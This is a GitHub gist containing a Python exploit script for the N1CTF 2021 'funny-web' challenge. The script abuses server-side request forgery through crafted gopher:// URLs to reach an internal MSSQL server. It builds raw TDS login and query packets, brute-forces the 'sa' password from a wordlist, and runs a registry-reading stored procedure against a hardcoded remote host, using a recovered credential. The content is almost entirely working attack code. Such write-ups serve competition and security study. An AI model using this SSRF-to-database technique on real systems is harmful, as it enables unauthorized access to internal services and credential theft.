Skip to content

Instantly share code, notes, and snippets.

@Arinerron
Created January 5, 2022 23:43
Show Gist options
  • Save Arinerron/c7cde47acb9e7e7a3c31f7feee7211b0 to your computer and use it in GitHub Desktop.
Save Arinerron/c7cde47acb9e7e7a3c31f7feee7211b0 to your computer and use it in GitHub Desktop.
N1CTF 2021 - funny-web
#!/usr/bin/env python3
import impacket
from impacket import tds, structure
import struct, random, string, re, requests, io
PACKET_SIZE = 4096 #32763
class Monkey(io.BytesIO):
def socketRecv(self, packet_size):
return self.read(packet_size)
def parse_reply(data):
monkey = Monkey(data)
tokens = tds.MSSQL.recvTDS(monkey, packetSize=PACKET_SIZE)
return tds.MSSQL.parseReply(monkey, tokens['Data'])
class CUSTOM_TDS_PRELOGIN(structure.Structure):
structure = (
('VersionToken','>B=0'),
('VersionOffset','>H'),
('VersionLength','>H=len(self["Version"])'),
('EncryptionToken','>B=0x1'),
('EncryptionOffset','>H'),
('EncryptionLength','>H=1'),
('InstanceToken','>B=2'),
('InstanceOffset','>H'),
('InstanceLength','>H=len(self["Instance"])'),
('ThreadIDToken','>B=3'),
('ThreadIDOffset','>H'),
('ThreadIDLength','>H=4'),
('MARSToken','>B=4'),
('MARSOffset','>H'),
('MARSLength','>H=1'),
('EndToken','>B=0xff'),
('_Version','_-Version','self["VersionLength"]'),
('Version',':'),
('Encryption','B'),
('_Instance','_-Instance','self["InstanceLength"]-1'),
('Instance',':'),
('ThreadID',':'),
('MARS',':')
)
def getData(self):
self['VersionOffset']=21+4+1
self['EncryptionOffset']=self['VersionOffset'] + len(self['Version'])
self['InstanceOffset']=self['EncryptionOffset'] + 1
self['ThreadIDOffset']=self['InstanceOffset'] + len(self['Instance'])
self['MARSOffset']=self['ThreadIDOffset'] + len(self['ThreadID'])
return structure.Structure.getData(self) + b'\x00'
TDS_MARS_OFF = 0
######
def encrypt_password(password):
return bytes(bytearray([((x & 0x0f) << 4) + ((x & 0xf0) >> 4) ^ 0xa5 for x in bytearray(password)]))
PACKET_ID_I = 1
def make_tds_packet(packet_type, data, end=True):
global PACKET_ID_I
p = tds.TDSPacket()
p['Type'] = packet_type
p['Status'] = (tds.TDS_STATUS_EOM if end else tds.TDS_STATUS_NORMAL)
#p['PacketID'] = PACKET_ID_I % 256
p['PacketID'] = 1
p['Data'] = data
p['Window'] = 0
PACKET_ID_I += 1
return p.getData()
def make_auth_packets(hostname, username, password, end=True):
prelogin = CUSTOM_TDS_PRELOGIN()
prelogin['Version'] = b"\x00\x00\x00\x01\x00\x01"
prelogin['Encryption'] = 2 # not available
prelogin['ThreadID'] = b'\x00\x00\x00\x00'
prelogin['Instance'] = b'\x00'
prelogin['MARS'] = TDS_MARS_OFF
#prelogin['ThreadID'] = struct.pack('<L',random.randint(0,65535))
#prelogin['Instance'] = b'MSSQLServer\x00'
prelogin_packet = make_tds_packet(tds.TDS_PRE_LOGIN, prelogin.getData(), end=True)
login = tds.TDS_LOGIN()
login['HostName'] = (''.join([random.choice(string.ascii_letters) for i in range(8)])).encode('utf-16le')
login['AppName'] = (''.join([random.choice(string.ascii_letters) for i in range(8)])).encode('utf-16le')
login['ServerName'] = hostname.encode('utf-16le')
login['CltIntName'] = login['AppName']
login['ClientPID'] = random.randint(0,1024)
login['PacketSize'] = PACKET_SIZE
login['OptionFlags2'] = 0 #tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON
login['UserName'] = username.encode('utf-16le')
login['Password'] = encrypt_password(password.encode('utf-16le'))
login['SSPI'] = ''
login['Length'] = len(login.getData())
login_packet = make_tds_packet(tds.TDS_LOGIN7, login.getData(), end=end)
return prelogin_packet + login_packet
#return login_packet
def make_query_packet(cmd):
query_packet = make_tds_packet(tds.TDS_SQL_BATCH, (cmd.replace('\n', '\r\n') + ';-- -').encode('utf-16le') + b'\x00\x00')
return query_packet[:-2]
REMOTE_HOST = 'http://1.13.194.226/'
HOST_PORT = ('10.11.22.13', '1433')
CURRENT_SESSION_ID = ''
session = requests.session()
if REMOTE_HOST:
print('Generating session...')
CURRENT_SESSION_ID = re.findall(r'<\/code>([\w-]+)<\/br>', session.get(REMOTE_HOST).text)[0]
print('- ' + CURRENT_SESSION_ID)
def generate_gopher_url(packet):
return '[f-h]opher://' + HOST_PORT[0] + ':' + HOST_PORT[1] + '/A' + urlencode(packet) + '{' + CURRENT_SESSION_ID + ',}'
def send_packets(packet):
data = generate_gopher_url(packet)
response = session.post(REMOTE_HOST, data={'url': data}).content
for line in response.split(b'--_curl_'):
if line.startswith(b'--gopher://') and CURRENT_SESSION_ID.encode() not in line:
response = line.split(urlencode(packet).encode() + b'\n')[1]
return response
return False
urlencode = lambda inp: ''.join('%'+hex(x)[2:].zfill(2) for x in inp)
def crack_password():
with open('passwords.txt', 'r') as f:
passwords = f.read().strip().replace('\r', '').split('\n')
for password in passwords:
response = send_packets(make_auth_packets(HOST_PORT[0], 'sa', password))
replies = parse_reply(response)
if tds.TDS_LOGINACK_TOKEN in replies:
return password
return False
USERNAME, PASSWORD = 'sa', '32367d71-af9b-4996-852f-f5566c13971a'
if __name__ == '__main__':
#response = send_packets(make_auth_packets(HOST_PORT[0], USERNAME, PASSWORD) + open('query.packet', 'rb').read())
response = send_packets(make_auth_packets(HOST_PORT[0], USERNAME, PASSWORD) + make_query_packet(r"EXECUTE master.sys.xp_instance_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\N1CTF2021';"))
import sys
sys.stdout.buffer.write(response)
sys.stdout.buffer.flush()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment